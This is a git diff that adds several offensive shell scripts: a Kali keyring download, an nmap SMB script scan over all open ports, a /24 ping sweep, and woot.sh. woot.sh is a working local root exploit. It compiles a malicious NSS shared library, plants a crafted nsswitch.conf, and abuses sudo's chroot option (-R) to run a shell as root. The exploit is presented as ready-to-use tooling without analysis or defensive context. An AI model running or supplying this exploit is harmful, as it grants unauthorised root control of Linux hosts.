diff --git a/keyring.sh b/keyring.sh
index 4c2791a..2db7637 100644
--- a/keyring.sh
+++ b/keyring.sh
@@ -1 +1,2 @@
 sudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg
+sudo apt update --fix-missing
diff --git a/nmap-smb.sh b/nmap-smb.sh
new file mode 100644
index 0000000..ede9f2b
--- /dev/null
+++ b/nmap-smb.sh
@@ -0,0 +1 @@
+nmap --script smb* -p $(nmap $1 -p- | grep open | awk -F '/' '{print $1}' | tr '\n' ',' | sed 's/.$//') $1 
diff --git a/pingsweep.sh b/pingsweep.sh
new file mode 100755
index 0000000..a91ae78
--- /dev/null
+++ b/pingsweep.sh
@@ -0,0 +1,6 @@
+for i in $(seq 0 255);
+do
+    ping -W 0.016 -q -c 1 $1$i 2>/dev/null| grep -i "stat" -A 1 | grep -v "0 " -B 1
+done
+
+
diff --git a/woot.sh b/woot.sh
new file mode 100644
index 0000000..cfb27e6
--- /dev/null
+++ b/woot.sh
@@ -0,0 +1,31 @@
+#!/usr/bin/env bash
+STAGE=$(mktemp -d /tmp/XXXXXX)
+cd ${STAGE?} || exit 1
+
+if [ $# -eq 0 ]; then
+    CMD="/bin/bash"
+else
+    CMD="$@"
+fi
+CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')
+
+cat >w.c <<EOF
+#include <stdlib.h>
+#include <unistd.h>
+
+__attribute__((constructor)) void woot(void) {
+  setreuid(0,0);
+  setregid(0,0);
+  chdir("/");
+  execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
+}
+EOF
+
+mkdir -p xd/etc libnss_
+echo "passwd: /w" >xd/etc/nsswitch.conf
+cp /etc/group xd/etc/
+
+gcc -shared -fPIC -Wl,-init,w -o libnss_/w.so.2 w.c
+
+sudo -R xd /bin/true
+rm -rf ${STAGE?}